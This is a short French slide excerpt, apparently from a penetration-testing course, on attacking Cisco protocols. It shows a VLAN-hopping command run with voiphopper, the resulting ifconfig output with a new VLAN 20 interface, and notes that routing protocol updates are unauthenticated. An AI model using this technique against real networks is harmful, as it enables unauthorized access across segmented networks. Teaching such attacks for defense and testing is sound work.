

# Exploitation

Attaques sur les protocoles Cisco

Attaque sur les Vlan : saut de VLAN

```
Shell - Konsole
bt ~ # voiphopper -i eth0 -v 20
Error trying to add VLAN 20 to Interface eth0: Invalid argument
dhcpcd: MAC address = 00:0c:29:71:00:bc
dhcpcd: your IP address = 192.168.20.67
bt ~ # ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:71:00:BC
          inet addr:192.168.10.93  Bcast:192.168.10.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:27445 errors:0 dropped:0 overruns:0 frame:0
          TX packets:74 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2492523 (2.3 MiB)  TX bytes:12558 (12.2 KiB)
          Interrupt:18 Base address:0x1424

eth0.20   Link encap:Ethernet  HWaddr 00:0C:29:71:00:BC
          inet addr:192.168.20.67  Bcast:192.168.20.255  Mask:255.255.255.0
          UP BROADCAST NOTRAILERS RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6766 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:367984 (359.3 KiB)  TX bytes:4880 (4.7 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:26 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2184 (2.1 KiB)  TX bytes:2184 (2.1 KiB)

bt ~ #
```

# Exploitation

Attaques sur les protocoles Cisco

## Attaque des protocoles de routage

- Intérêt d'une protocole de routage dynamique
  - Permet aux paquets de transiter d'un réseau à un autre
  - Détermine le meilleur chemin
  - Evite de configurer des chemins statiques
- Echange entre les réseaux des routes existantes
- Vulnérabilité
  - les trames d'informations ne sont pas authentifiées.